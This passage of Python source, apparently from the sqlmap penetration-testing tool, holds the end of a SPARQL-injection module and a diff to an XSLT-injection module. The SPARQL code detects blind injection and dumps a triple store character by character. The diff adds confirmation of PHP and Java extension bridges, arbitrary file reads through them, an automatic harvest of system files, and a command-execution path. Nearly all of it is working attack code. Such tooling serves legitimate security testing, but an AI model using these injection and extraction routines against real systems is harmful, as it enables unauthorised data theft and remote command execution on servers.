# the bisection converge on the hole's neighbour and report a DIFFERENT character, silently. '"' and '\'
|
||||
# therefore stay in the charset and are emitted as their SPARQL escapes rather than dropped.
|
||||
_CS_ORDS = [_ for _ in xrange(SPARQL_CHAR_MIN, SPARQL_CHAR_MAX + 1)]
|
||||
|
||||
# ECHAR escapes: these two cannot appear raw inside a double-quoted SPARQL literal (STRING_LITERAL2)
|
||||
_ESCAPES = {0x22: '\\"', 0x5c: "\\\\"}
|
||||
|
||||
|
||||
def _literal(ordinal):
|
||||
"""One codepoint as a double-quoted SPARQL string literal."""
|
||||
return '"%s"' % _ESCAPES.get(ordinal, chr(ordinal))
|
||||
|
||||
|
||||
def _delim(place):
|
||||
return conf.paramDel or (';' if place == PLACE.COOKIE else '&')
|
||||
|
||||
|
||||
def _confParameters(place):
|
||||
return conf.parameters.get(place) or ""
|
||||
|
||||
|
||||
def _originalValue(place, parameter):
|
||||
# decoded on the way in, re-encoded by _send() on the way out, so the module works in plain text
|
||||
# and a value carrying %XX/'+' round-trips to exactly what the application originally received
|
||||
for pair in _confParameters(place).split(_delim(place)):
|
||||
if '=' in pair:
|
||||
name, _, value = pair.partition('=')
|
||||
if name.strip() == parameter:
|
||||
return urldecode(value, convall=True)
|
||||
return None
|
||||
|
||||
|
||||
def _replaceSegment(place, parameter, value):
|
||||
retVal = []
|
||||
for pair in _confParameters(place).split(_delim(place)):
|
||||
if '=' in pair:
|
||||
name, _, old = pair.partition('=')
|
||||
retVal.append("%s=%s" % (name, value if name.strip() == parameter else old))
|
||||
elif pair:
|
||||
retVal.append(pair)
|
||||
return _delim(place).join(retVal)
|
||||
|
||||
|
||||
def _send(place, parameter, value, raw=False):
|
||||
"""One HTTP request with the target parameter set to `value`, reusing sqlmap's request machinery so
|
||||
URL, cookies, headers, proxy, delay and encoding all behave exactly as in a normal run.
|
||||
|
||||
`raw=True` returns the body even for a 5xx status. The boolean oracle must NEVER see it (a 500 is not
|
||||
a usable true/false sample, hence the default nulling), but the error probe wants exactly that body:
|
||||
a triple-store parser diagnostic is commonly served as a 500.
|
||||
|
||||
The value is URL-encoded (as '--ssti' already does) because a payload metacharacter otherwise never
|
||||
reaches the query intact: a raw '&' is the parameter delimiter, so the request SPLITS and the store
|
||||
sees a truncated query, and '+' arrives as a space. That is not hypothetical - the character-scan
|
||||
probes emit both, and unencoded they made a lexicographic bisection answer the '&' comparison
|
||||
falsely and silently return the WRONG character ('A&x'/'A)x'/'A+x' all recovered as 'A%x')."""
|
||||
|
||||
if conf.delay:
|
||||
time.sleep(conf.delay)
|
||||
|
||||
saved = conf.parameters.get(place, "")
|
||||
conf.parameters[place] = _replaceSegment(place, parameter, _quote(value, safe=""))
|
||||
try:
|
||||
if conf.verbose >= 3:
|
||||
logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value))
|
||||
page, _, code = Request.getPage(raise404=False, silent=True)
|
||||
# A transport failure, a BLOCKED status (403/429) or ANY error status is not a usable oracle
|
||||
# sample. Nulling only 5xx was not enough: a front-end that serves its parser failure as a 400
|
||||
# with a body carrying no recognisable store signature slipped past _isError(), and when that
|
||||
# body happened to resemble the FALSE model the bit was decided FALSE instead of INCONCLUSIVE -
|
||||
# a silently wrong character. Measured: a value of 'A(x' behind a validator that 400s the '('
|
||||
# probe decoded as 'A\'x'. An unusable sample must be a non-answer, never a cheap false.
|
||||
if not raw and (blockedStatus(code) or (code and code >= 400)):
|
||||
return None
|
||||
return page or ""
|
||||
except Exception as ex:
|
||||
logger.debug("SPARQL probe request failed: %s" % getUnicode(ex))
|
||||
return None
|
||||
finally:
|
||||
conf.parameters[place] = saved
|
||||
|
||||
|
||||
def _isError(page):
|
||||
page = getUnicode(page or "")
|
||||
return bool(re.search(SPARQL_ERROR_REGEX, page)) or sqlErrorPresent(page)
|
||||
|
||||
|
||||
def _backendFromError(page):
|
||||
page = getUnicode(page or "")
|
||||
for backend, regex in SPARQL_ERROR_SIGNATURES:
|
||||
if re.search(regex, page):
|
||||
return backend
|
||||
return None
|
||||
|
||||
|
||||
def _probeError(place, parameter):
|
||||
"""Break the query context and look for a triple-store parser diagnostic. A hint only - the boolean
|
||||
oracle is authoritative."""
|
||||
|
||||
original = _originalValue(place, parameter) or "1"
|
||||
normal = _send(place, parameter, original, raw=True)
|
||||
# NOTE no '&&' suffix here: a raw '&' in a GET value is the parameter delimiter, so it would split the
|
||||
# request rather than break the query. A bare quote / paren is enough to trip the parser.
|
||||
for suffix in ('"', "'", ")", " ."):
|
||||
broken = _send(place, parameter, original + suffix, raw=True)
|
||||
if not broken or _ratio(normal, broken) >= UPPER_RATIO_BOUND:
|
||||
continue
|
||||
backend = _backendFromError(broken)
|
||||
if backend and not _isError(normal):
|
||||
return backend, broken
|
||||
return None, None
|
||||
|
||||
|
||||
def _boolean(truthy, falsy):
|
||||
"""Return the reproducible true page when the true/false probes diverge (each independently
|
||||
reproducible), else None."""
|
||||
|
||||
truePage = truthy()
|
||||
if truePage is None or _isError(truePage):
|
||||
return None
|
||||
if _ratio(truePage, truthy()) < UPPER_RATIO_BOUND:
|
||||
return None
|
||||
|
||||
falsePage = falsy()
|
||||
if falsePage is None or _isError(falsePage):
|
||||
return None
|
||||
if _ratio(falsePage, falsy()) < UPPER_RATIO_BOUND:
|
||||
return None
|
||||
|
||||
if userOracleActive():
|
||||
return truePage if (userDecision(truePage) is True and userDecision(falsePage) is False) else None
|
||||
|
||||
if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND:
|
||||
return truePage
|
||||
return None
|
||||
|
||||
|
||||
def _detectBoolean(place, parameter):
|
||||
"""Return (template, payload, boundary) for boolean-blind SPARQL injection, else (None, None, None)."""
|
||||
|
||||
for trueBreak, falseBreak, prefix, suffix, kind in _BOUNDARY_TABLE:
|
||||
boundary = Boundary(prefix, suffix, kind)
|
||||
base = _base(boundary)
|
||||
truePayload = base + trueBreak
|
||||
falsePayload = base + falseBreak
|
||||
template = _boolean(lambda p=truePayload: _send(place, parameter, p),
|
||||
lambda p=falsePayload: _send(place, parameter, p))
|
||||
if template:
|
||||
return template, truePayload, boundary
|
||||
return None, None, None
|
||||
|
||||
|
||||
def _base(boundary):
|
||||
return NUMBER_SENTINEL if boundary.base == _BASE_NUMBER else SENTINEL
|
||||
|
||||
|
||||
def _wrap(base, boundary, predicate):
|
||||
return "%s%s%s%s" % (base, boundary.prefix, predicate, boundary.suffix)
|
||||
|
||||
|
||||
# SPARQL-only attribution. EXISTS over a triple pattern plus isIRI() is SPARQL graph-pattern syntax with
|
||||
# no plain-SQL equivalent, so a true/false divergence here is attributable to a SPARQL engine rather than
|
||||
# to ordinary SQL injection behind the same quote. The false side uses TWO FILTERs (a conjunction) rather
|
||||
# than `&&`, keeping the payload free of the '&' that GET transport would treat as a delimiter.
|
||||
_SPARQL_PREDICATES = (
|
||||
("EXISTS { ?zs ?zp ?zo }", "EXISTS { ?zs ?zp ?zo . FILTER(isIRI(?zo)) FILTER(!isIRI(?zo)) }"),
|
||||
)
|
||||
|
||||
|
||||
def _confirmSparql(place, parameter, boundary):
|
||||
base = _base(boundary)
|
||||
for truePred, falsePred in _SPARQL_PREDICATES:
|
||||
if _boolean(lambda p=_wrap(base, boundary, truePred): _send(place, parameter, p),
|
||||
lambda p=_wrap(base, boundary, falsePred): _send(place, parameter, p)):
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
def _makeOracle(place, parameter, boundary):
|
||||
"""Build the extraction oracle by recalibrating both true/false models on the SAME base + boundary the
|
||||
predicates use, then classify each later bit RELATIVE to those two models (resolveBit). Returns None -
|
||||
disabling extraction - when the models are missing, error pages, or not reliably separable, so a
|
||||
finding is never dressed up with fabricated data."""
|
||||
|
||||
cache = {}
|
||||
base = _base(boundary)
|
||||
|
||||
def request(payload):
|
||||
if payload not in cache:
|
||||
page = _send(place, parameter, payload)
|
||||
if page is not None and not _isError(page):
|
||||
cache[payload] = page
|
||||
return page
|
||||
return cache[payload]
|
||||
|
||||
truePayload = _wrap(base, boundary, "(1=1)")
|
||||
falsePayload = _wrap(base, boundary, "(1=2)")
|
||||
trueTemplate = request(truePayload)
|
||||
falseTemplate = request(falsePayload)
|
||||
|
||||
if trueTemplate is None or falseTemplate is None or _isError(trueTemplate) or _isError(falseTemplate):
|
||||
return None
|
||||
if _ratio(trueTemplate, _send(place, parameter, truePayload)) < UPPER_RATIO_BOUND:
|
||||
return None
|
||||
if _ratio(falseTemplate, _send(place, parameter, falsePayload)) < UPPER_RATIO_BOUND:
|
||||
return None
|
||||
if _ratio(trueTemplate, falseTemplate) >= UPPER_RATIO_BOUND:
|
||||
return None
|
||||
|
||||
def truth(predicate):
|
||||
payload = _wrap(base, boundary, predicate)
|
||||
page = request(payload)
|
||||
usable = page if (page is not None and not _isError(page)) else None
|
||||
|
||||
def fresh():
|
||||
p = _send(place, parameter, payload)
|
||||
return None if (p is None or _isError(p)) else p
|
||||
return resolveBit(usable, trueTemplate, falseTemplate, fresh)
|
||||
|
||||
truth.template = trueTemplate
|
||||
truth.cache = cache
|
||||
return truth
|
||||
|
||||
|
||||
# --- SPARQL condition builders -------------------------------------------------------------------------
|
||||
#
|
||||
# Every extraction condition is an EXISTS over a sub-pattern that BINDS ?v, then a FILTER on ?v. The outer
|
||||
# `SELECT ?v WHERE { ... }` wrapper is mandatory: a bare `EXISTS { {subquery} FILTER(...) }` silently
|
||||
# evaluates false on Jena, whereas the wrapped form works.
|
||||
|
||||
def _existsBind(inner, cmp):
|
||||
return "EXISTS { SELECT ?v WHERE { %s FILTER(%s) } }" % (inner, cmp)
|
||||
|
||||
|
||||
def _cmpAtLeast(expr, n):
|
||||
return "%s >= %d" % (expr, n)
|
||||
|
||||
|
||||
def _cmpChar(pos, ordinal):
|
||||
# lexicographic '>=' on a single character bisects the codepoint-ordered charset
|
||||
return 'SUBSTR(STR(?v),%d,1) >= %s' % (pos, _literal(ordinal))
|
||||
|
||||
|
||||
# inner sub-patterns that bind ?v to something worth reading
|
||||
_COUNT_TRIPLES = "{ SELECT (COUNT(*) AS ?v) WHERE {?s ?p ?o} }"
|
||||
_COUNT_PREDICATES = "{ SELECT (COUNT(DISTINCT ?p) AS ?v) WHERE {?s ?p ?o} }"
|
||||
|
||||
|
||||
def _nthPredicate(offset):
|
||||
return ("{ SELECT DISTINCT ?p WHERE {?s ?p ?o} ORDER BY ?p LIMIT 1 OFFSET %d } "
|
||||
"BIND(STR(?p) AS ?v)" % offset)
|
||||
|
||||
|
||||
def _nthObject(offset):
|
||||
return ("{ SELECT ?o WHERE {?s ?p ?o} ORDER BY STR(?o) LIMIT 1 OFFSET %d } "
|
||||
"BIND(STR(?o) AS ?v)" % offset)
|
||||
|
||||
|
||||
def _inferCount(truth, inner, maxCount):
|
||||
"""Recover the integer bound to ?v by `inner` (a COUNT sub-select), by binary search. Returns None
|
||||
when the oracle stays inconclusive - a half-bisected count is a wrong number, not a small one, and
|
||||
it would go on to drive the enumeration loops."""
|
||||
|
||||
try:
|
||||
if not truth(_existsBind(inner, _cmpAtLeast("?v", 1))):
|
||||
return 0
|
||||
lo, hi = 1, maxCount
|
||||
while lo < hi:
|
||||
mid = (lo + hi + 1) // 2
|
||||
if truth(_existsBind(inner, _cmpAtLeast("?v", mid))):
|
||||
lo = mid
|
||||
else:
|
||||
hi = mid - 1
|
||||
except InconclusiveError:
|
||||
logger.warning("SPARQL count inference aborted (oracle inconclusive after retries)")
|
||||
return None
|
||||
return lo
|
||||
|
||||
|
||||
def _inferString(truth, inner, maxLen=SPARQL_MAX_LENGTH):
|
||||
"""Blindly recover the string bound to ?v by `inner`: length by binary search, then each character by
|
||||
bisecting its index in the codepoint-ordered charset."""
|
||||
|
||||
try:
|
||||
if not truth(_existsBind(inner, _cmpAtLeast("STRLEN(STR(?v))", 1))):
|
||||
return ""
|
||||
|
||||
lo, hi = 1, maxLen
|
||||
while lo < hi:
|
||||
mid = (lo + hi + 1) // 2
|
||||
if truth(_existsBind(inner, _cmpAtLeast("STRLEN(STR(?v))", mid))):
|
||||
lo = mid
|
||||
else:
|
||||
hi = mid - 1
|
||||
length = lo
|
||||
|
||||
chars = []
|
||||
last = len(_CS_ORDS) - 1
|
||||
for pos in xrange(1, length + 1):
|
||||
# is this character within the recoverable charset at all?
|
||||
if not truth(_existsBind(inner, _cmpChar(pos, _CS_ORDS[0]))):
|
||||
chars.append("?")
|
||||
continue
|
||||
clo, chi = 0, last
|
||||
while clo < chi:
|
||||
cmid = (clo + chi + 1) // 2
|
||||
if truth(_existsBind(inner, _cmpChar(pos, _CS_ORDS[cmid]))):
|
||||
clo = cmid
|
||||
else:
|
||||
chi = cmid - 1
|
||||
chars.append(chr(_CS_ORDS[clo]))
|
||||
except InconclusiveError:
|
||||
logger.warning("SPARQL string inference aborted (oracle inconclusive after retries)")
|
||||
return None
|
||||
return "".join(chars)
|
||||
|
||||
|
||||
def _grid(columns, rows):
|
||||
columns = [getUnicode(_) for _ in columns]
|
||||
rows = [[getUnicode(_) for _ in row] for row in rows]
|
||||
widths = []
|
||||
for index, column in enumerate(columns):
|
||||
width = len(column)
|
||||
for row in rows:
|
||||
if index < len(row):
|
||||
width = max(width, len(getUnicode(row[index])))
|
||||
widths.append(width)
|
||||
separator = "+-" + "-+-".join("-" * _ for _ in widths) + "-+"
|
||||
|
||||
def line(cells):
|
||||
return "| " + " | ".join((getUnicode(cells[index]) if index < len(cells) else "").ljust(widths[index]) for index in xrange(len(columns))) + " |"
|
||||
|
||||
return "\n".join([separator, line(columns), separator] + [line(row) for row in rows] + [separator])
|
||||
|
||||
|
||||
def _dumpGraph(truth):
|
||||
"""Schema-agnostic blind dump of the default graph: distinct predicates, then a sample of the triple
|
||||
objects (see the module note on why objects rather than whole triples)."""
|
||||
|
||||
predicates = _inferCount(truth, _COUNT_PREDICATES, SPARQL_MAX_PREDICATES)
|
||||
triples = _inferCount(truth, _COUNT_TRIPLES, 10 ** 9)
|
||||
if predicates is None or triples is None:
|
||||
logger.warning("dump aborted: the oracle could not resolve the graph size; detection stands")
|
||||
return
|
||||
logger.info("default graph holds %d distinct predicate(s) and %d triple(s)" % (predicates, triples))
|
||||
|
||||
predRows = []
|
||||
for offset in xrange(min(predicates, SPARQL_MAX_PREDICATES)):
|
||||
iri = _inferString(truth, _nthPredicate(offset))
|
||||
if iri is None:
|
||||
break
|
||||
predRows.append([offset + 1, iri])
|
||||
if predRows:
|
||||
conf.dumper.singleString("SPARQL: distinct predicates in the default graph\n%s"
|
||||
% _grid(["#", "predicate"], predRows))
|
||||
|
||||
limit = min(triples, SPARQL_MAX_RECORDS)
|
||||
objRows = []
|
||||
for offset in xrange(limit):
|
||||
value = _inferString(truth, _nthObject(offset))
|
||||
if value is None:
|
||||
break
|
||||
objRows.append([offset + 1, value])
|
||||
if objRows:
|
||||
conf.dumper.singleString("SPARQL: objects in the default graph (first %d, ordered)\n%s"
|
||||
% (len(objRows), _grid(["#", "object"], objRows)))
|
||||
if triples > limit:
|
||||
logger.info("dumped the first %d of %d triples (bounded); raise the cap to fetch more" % (limit, triples))
|
||||
|
||||
|
||||
def sparqlScan():
|
||||
global SENTINEL, NUMBER_SENTINEL
|
||||
SENTINEL = randomStr(length=10, lowercase=True)
|
||||
NUMBER_SENTINEL = randomStr(length=9, alphabet="123456789")
|
||||
|
||||
debugMsg = "'--sparql' is self-contained: it detects SPARQL injection in HTTP parameters and blindly "
|
||||
debugMsg += "dumps the reachable triple store. SQL enumeration switches (--banner, --dbs, --tables, "
|
||||
debugMsg += "--users, --sql-query) are ignored"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
if not conf.paramDict:
|
||||
logger.error("no request parameters to test (use --data, GET params, or similar)")
|
||||
return
|
||||
|
||||
tested = found = 0
|
||||
|
||||
for place in (_ for _ in SPARQL_PLACES if _ in conf.paramDict):
|
||||
for parameter in list(conf.paramDict[place].keys()):
|
||||
if conf.testParameter and parameter not in conf.testParameter:
|
||||
continue
|
||||
|
||||
tested += 1
|
||||
logger.info("testing SPARQL injection on %s parameter '%s'" % (place, parameter))
|
||||
|
||||
backendHint, _errorPage = _probeError(place, parameter)
|
||||
if backendHint:
|
||||
logger.info("%s parameter '%s' reaches a SPARQL parser (back-end: '%s')" % (place, parameter, backendHint))
|
||||
|
||||
template, payload, boundary = _detectBoolean(place, parameter)
|
||||
if not template:
|
||||
continue
|
||||
|
||||
isSparql = _confirmSparql(place, parameter, boundary) or bool(backendHint)
|
||||
if not isSparql:
|
||||
logger.info("%s parameter '%s' shows a boolean differential but no SPARQL-only construct "
|
||||
"confirmed it; not attributing to SPARQL (may be plain SQL injection)"
|
||||
% (place, parameter))
|
||||
continue
|
||||
|
||||
found += 1
|
||||
if conf.beep:
|
||||
beep()
|
||||
backend = backendHint or "Generic SPARQL"
|
||||
logger.info("%s parameter '%s' is vulnerable to SPARQL injection (back-end: '%s')"
|
||||
% (place, parameter, backend))
|
||||
conf.dumper.singleString("---\nParameter: %s (%s)\n Type: SPARQL injection\n"
|
||||
" Title: SPARQL boolean-based blind\n Payload: %s=%s\n---"
|
||||
% (parameter, place, parameter, payload))
|
||||
|
||||
oracle = _makeOracle(place, parameter, boundary)
|
||||
if oracle is None:
|
||||
logger.info("extraction disabled (true/false models not reliably separable); detection stands")
|
||||
continue
|
||||
|
||||
_dumpGraph(oracle)
|
||||
|
||||
if not found:
|
||||
if tested:
|
||||
logger.warning("no parameter appears to be injectable via SPARQL injection (%d tested)" % tested)
|
||||
else:
|
||||
logger.warning("no parameters found to test for SPARQL injection")
|
||||
|
||||
logger.info("SPARQL scan complete")
|
||||
+198
-36
@@ -26,8 +26,13 @@ between elements can introduce whole XSLT instructions, while input landing insi
|
||||
carry an XPath expression. Nothing is inferred from a payload merely "looking like" it worked - every
|
||||
tier is confirmed by a per-run random sentinel or by a value the application cannot produce by itself.
|
||||
|
||||
Deliberately reported but NOT exploited: PHP registerPHPFunctions(), EXSLT exsl:document (file WRITE) and
|
||||
saxon:eval. Those are RCE / write primitives and sit outside what this switch is for.
|
||||
Once an injection is confirmed in the ELEMENT slot, sqlmap also probes the processor's extension bridges
|
||||
(PHP php:function, Xalan java:) - each confirmed by a deterministic self-check, never by the unreliable
|
||||
function-available(). A confirmed read bridge gives arbitrary file read even on an XSLT 1.0 engine, where
|
||||
document() only loads XML and unparsed-text() is unavailable, so it is used for the automatic harvest and
|
||||
for '--file-read'. Command execution through a bridge runs only under '--os-cmd' / '--os-shell', exactly
|
||||
like the SQL and SSTI takeover. File WRITE (EXSLT exsl:document) and saxon:eval are reported but never
|
||||
driven - a write is destructive and belongs to '--file-write'.
|
||||
"""
|
||||
|
||||
import re
|
||||
@@ -37,6 +42,7 @@ from collections import namedtuple
|
||||
from lib.core.common import beep
|
||||
from lib.core.common import dataToOutFile
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import urldecode
|
||||
from lib.core.convert import getBytes
|
||||
from lib.core.convert import getText
|
||||
from lib.core.convert import getUnicode
|
||||
@@ -50,9 +56,15 @@ from lib.core.settings import XSLT_MAX_FILE_LENGTH
|
||||
from lib.core.settings import XSLT_MAX_HARVEST
|
||||
from lib.core.settings import XSLT_XML_HARVEST
|
||||
from lib.core.settings import XXE_FILE_HARVEST
|
||||
from lib.core.settings import XSLT_RCE_PROBES
|
||||
from lib.core.settings import XSLT_BRIDGES
|
||||
from lib.core.settings import XSLT_BRIDGE_PHP
|
||||
from lib.core.settings import XSLT_BRIDGE_JAVA
|
||||
from lib.core.settings import XSLT_ADVISORY_PROBES
|
||||
from lib.core.settings import XSLT_VENDOR_PROPERTIES
|
||||
from lib.request.connect import Connect as Request
|
||||
# NOT lib.core.common.urlencode: that one keeps '&', '=' and '%' safe by design, which is exactly what
|
||||
# has to be escaped here. Imported under a distinct name because _quote() below is the XPath literal.
|
||||
from thirdparty.six.moves.urllib.parse import quote as _urlquote
|
||||
|
||||
SENTINEL = randomStr(length=10, lowercase=True)
|
||||
|
||||
@@ -80,11 +92,13 @@ def _delim(place):
|
||||
|
||||
|
||||
def _originalValue(place, parameter):
|
||||
# decoded on the way in, re-encoded by _send() on the way out, so the module works in plain text
|
||||
# and the untouched baseline probe reproduces exactly what the application originally received
|
||||
for pair in (conf.parameters.get(place) or "").split(_delim(place)):
|
||||
if '=' in pair:
|
||||
name, _, value = pair.partition('=')
|
||||
if name.strip() == parameter:
|
||||
return value
|
||||
return urldecode(value, convall=True)
|
||||
return None
|
||||
|
||||
|
||||
@@ -101,13 +115,18 @@ def _replaceSegment(place, parameter, value):
|
||||
|
||||
def _send(place, parameter, value):
|
||||
"""One request with the target parameter set to `value`, reusing sqlmap's request machinery so the
|
||||
URL, cookies, headers, proxy and delay all behave exactly as in a normal run."""
|
||||
URL, cookies, headers, proxy and delay all behave exactly as in a normal run.
|
||||
|
||||
The value is URL-encoded (as '--ssti' already does). A stylesheet payload is XML, so it legitimately
|
||||
carries '&' - both as an XML entity (&/", see _attr) and inside a command or path - and a
|
||||
raw '&' in a GET value is the parameter delimiter, which would split the request and deliver a
|
||||
truncated stylesheet."""
|
||||
|
||||
if conf.delay:
|
||||
time.sleep(conf.delay)
|
||||
|
||||
saved = conf.parameters.get(place, "")
|
||||
conf.parameters[place] = _replaceSegment(place, parameter, value)
|
||||
conf.parameters[place] = _replaceSegment(place, parameter, _urlquote(value, safe=""))
|
||||
try:
|
||||
if conf.verbose >= 3:
|
||||
logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value))
|
||||
@@ -135,10 +154,26 @@ def _echoed(page, needle):
|
||||
return bool(page) and needle in getUnicode(page)
|
||||
|
||||
|
||||
def _attr(expression):
|
||||
"""Escape an XPath expression for the XML ATTRIBUTE it is about to land in.
|
||||
|
||||
Every slot ends up inside select="...", and XPath 1.0 has no escape character - so _quote() has to
|
||||
fall back to double quotes for a value containing an apostrophe, and those quotes TERMINATE the
|
||||
attribute. The stylesheet then fails to compile and the whole probe silently returns nothing:
|
||||
'--os-cmd="echo \'hi\'"' reported "no output captured", and '--file-read' of a path holding an
|
||||
apostrophe or an '&' failed against real libxslt while the same file at a plain path read fine.
|
||||
|
||||
'>' is legal inside an attribute value and is left alone, so a shell redirect stays readable."""
|
||||
|
||||
return (getUnicode(expression).replace("&", "&")
|
||||
.replace("<", "<")
|
||||
.replace('"', """))
|
||||
|
||||
|
||||
def _valuePayload(expression):
|
||||
"""An XPath expression for the VALUE slot: the input already sits inside select="...", so only the
|
||||
expression itself is injected."""
|
||||
return expression
|
||||
return _attr(expression)
|
||||
|
||||
|
||||
# Conventional prefix for the XSLT namespace. A stylesheet must bind it to be a stylesheet at all; a
|
||||
@@ -149,7 +184,7 @@ _XSL_PREFIX = "xsl"
|
||||
def _elementPayload(expression):
|
||||
"""A whole <xsl:value-of> instruction for the ELEMENT slot. The stylesheet already binds the 'xsl'
|
||||
prefix (it could not be a stylesheet otherwise), so the instruction compiles in place."""
|
||||
return '<%s:value-of select="%s"/>' % (_XSL_PREFIX, expression)
|
||||
return '<%s:value-of select="%s"/>' % (_XSL_PREFIX, _attr(expression))
|
||||
|
||||
|
||||
_BUILDERS = ((CONTEXT_ELEMENT, _elementPayload), (CONTEXT_VALUE, _valuePayload))
|
||||
@@ -311,9 +346,15 @@ def _probeCompile(place, parameter, baseline):
|
||||
return None, None, None
|
||||
|
||||
|
||||
def _readFile(place, parameter, context, path, readers=("unparsed-text", "document")):
|
||||
"""T4: read a text file. document() parses its target as XML, so a non-XML file only surfaces through
|
||||
unparsed-text() (XSLT 2.0+). Both are tried by default and whichever returns content wins."""
|
||||
def _readFile(place, parameter, context, path, readers=("unparsed-text", "document"), bridges=()):
|
||||
"""T4: read a file. A confirmed extension bridge (php:function / java:) is tried first because it
|
||||
reaches ANY file on a 1.0 engine. Otherwise document() parses its target as XML, so a non-XML file
|
||||
only surfaces through unparsed-text() (XSLT 2.0+). Whichever returns content wins."""
|
||||
|
||||
for bridge in bridges:
|
||||
content = _bridgeRead(place, parameter, bridge, path)
|
||||
if content and content.strip():
|
||||
return content, "%s bridge" % bridge[0].split(" ")[0].lower()
|
||||
|
||||
build = dict(_BUILDERS)[context]
|
||||
uri = path if "://" in path else "file:///%s" % getText(path).replace("\\", "/").lstrip("/")
|
||||
@@ -347,25 +388,42 @@ def _dumpSourceDocument(place, parameter, context):
|
||||
return None
|
||||
|
||||
|
||||
def _harvestFiles(place, parameter, context):
|
||||
def _harvestFiles(place, parameter, context, bridges=()):
|
||||
"""Proactive, best-effort file harvest once the injection is CONFIRMED, the way the other non-SQL
|
||||
engines auto-dump what they can reach: a user who reaches for '--xslt' should not have to know that
|
||||
'--file-read' exists to see impact.
|
||||
|
||||
Two reader primitives, because they cover different engines: unparsed-text() takes any text file but
|
||||
needs XSLT 2.0+, while document() works on 1.0 (most of the installed base) yet only loads well-formed
|
||||
XML. Content is de-duplicated so an engine that resolves every missing path to the same stub cannot
|
||||
masquerade as many distinct reads. Bounded by XSLT_MAX_HARVEST."""
|
||||
A confirmed bridge reads arbitrary text on any engine, so the plain-text targets (/etc/passwd etc.)
|
||||
are harvested through it. Without one, the two portable readers cover different engines: unparsed-text()
|
||||
takes any text file but needs XSLT 2.0+, while document() works on 1.0 (most of the installed base)
|
||||
yet only loads well-formed XML. Content is de-duplicated so an engine that resolves every missing path
|
||||
to the same stub cannot masquerade as many distinct reads. Bounded by XSLT_MAX_HARVEST."""
|
||||
|
||||
harvested = []
|
||||
seen = set()
|
||||
for reader, paths in (("unparsed-text", XXE_FILE_HARVEST), ("document", XSLT_XML_HARVEST)):
|
||||
read = set()
|
||||
|
||||
# every confirmed bridge, not just the first: _readFile() already falls through all of them, and a
|
||||
# bridge that fails on one path (permissions, a binary file) must not strand the rest of the harvest
|
||||
plans = [(_, XXE_FILE_HARVEST) for _ in bridges] # arbitrary-text read on any engine
|
||||
plans.append((None, XXE_FILE_HARVEST)) # unparsed-text() (XSLT 2.0+)
|
||||
plans.append((None, XSLT_XML_HARVEST)) # document() (XSLT 1.0, XML only)
|
||||
|
||||
for bridge, paths in plans:
|
||||
for path in paths:
|
||||
if len(harvested) >= XSLT_MAX_HARVEST:
|
||||
return harvested
|
||||
content, how = _readFile(place, parameter, context, path, readers=(reader,))
|
||||
if path in read:
|
||||
continue # a later plan must not re-probe what an earlier one already returned
|
||||
if bridge is not None:
|
||||
content = _bridgeRead(place, parameter, bridge, path)
|
||||
how = "%s bridge" % bridge[0].split(" ")[0].lower()
|
||||
else:
|
||||
reader = "unparsed-text" if paths is XXE_FILE_HARVEST else "document"
|
||||
content, how = _readFile(place, parameter, context, path, readers=(reader,))
|
||||
if not (content and content.strip()):
|
||||
continue
|
||||
read.add(path)
|
||||
key = content.strip()
|
||||
if key in seen:
|
||||
continue
|
||||
@@ -374,22 +432,95 @@ def _harvestFiles(place, parameter, context):
|
||||
return harvested
|
||||
|
||||
|
||||
def _probeRce(place, parameter, context):
|
||||
"""Report - never invoke - the extension primitives that would turn this into code execution. Their
|
||||
mere availability is the finding; exercising them is out of scope for this switch."""
|
||||
def _bridgeElementPayload(prefix, uri, expression):
|
||||
"""An <xsl:value-of> that BINDS the extension namespace the bridge needs. Only the element slot can do
|
||||
this - the value slot cannot introduce a namespace - so bridge exploitation is element-slot only. The
|
||||
expression is sentinel-wrapped like every other probe, so an echo endpoint cannot forge the result."""
|
||||
return '<%s:value-of xmlns:%s="%s" select="%s"/>' % (_XSL_PREFIX, prefix, uri, _attr(_wrap(expression)))
|
||||
|
||||
|
||||
def _confirmBridge(place, parameter, bridge):
|
||||
"""Confirm a bridge by EVALUATION, not by function-available() (which Xalan answers 'false' to while
|
||||
the bridge works). The self-check transforms a per-run random input in a way the application cannot:
|
||||
PHP reverses a marker, Xalan hex-encodes a random integer. The sentinel-split wrap defeats reflection,
|
||||
and the transformed value defeats a lucky echo of the operand."""
|
||||
|
||||
_label, kind, prefix, uri, _readT, _execT = bridge
|
||||
if kind == XSLT_BRIDGE_PHP:
|
||||
marker = randomStr(length=8, lowercase=True)
|
||||
expression = "php:function('strrev',%s)" % _quote(marker)
|
||||
expected = marker[::-1]
|
||||
elif kind == XSLT_BRIDGE_JAVA:
|
||||
number = int(randomStr(length=6, alphabet="123456789"))
|
||||
expression = "java:java.lang.Integer.toHexString(%d)" % number
|
||||
expected = "%x" % number
|
||||
else:
|
||||
return False
|
||||
payload = _bridgeElementPayload(prefix, uri, expression)
|
||||
captured = _captured(page=_send(place, parameter, payload), payload=payload, span="0,64")
|
||||
return captured is not None and captured.strip() == expected
|
||||
|
||||
|
||||
def _detectBridges(place, parameter, context):
|
||||
"""The extension bridges confirmed working on this injection. Element slot only (a bridge needs its
|
||||
namespace bound), so the value slot returns nothing."""
|
||||
|
||||
if context != CONTEXT_ELEMENT:
|
||||
return []
|
||||
return [bridge for bridge in XSLT_BRIDGES if _confirmBridge(place, parameter, bridge)]
|
||||
|
||||
|
||||
def _bridgeRead(place, parameter, bridge, path):
|
||||
"""Arbitrary file read through a confirmed bridge - unlike document() (XML only) and unparsed-text()
|
||||
(XSLT 2.0+), this reaches any file the process can open, on a 1.0 engine."""
|
||||
|
||||
_label, _kind, prefix, uri, readT, _execT = bridge
|
||||
expression = readT % _quote(getText(path))
|
||||
payload = _bridgeElementPayload(prefix, uri, expression)
|
||||
captured = _captured(page=_send(place, parameter, payload), payload=payload, span="1,%d" % XSLT_MAX_FILE_LENGTH)
|
||||
if captured and captured.strip():
|
||||
return captured[:XSLT_MAX_FILE_LENGTH]
|
||||
return None
|
||||
|
||||
|
||||
def _bridgeExec(place, parameter, bridge, command):
|
||||
"""Run one OS command through a confirmed exec bridge and return its captured stdout, or None. Only
|
||||
reached under --os-cmd / --os-shell."""
|
||||
|
||||
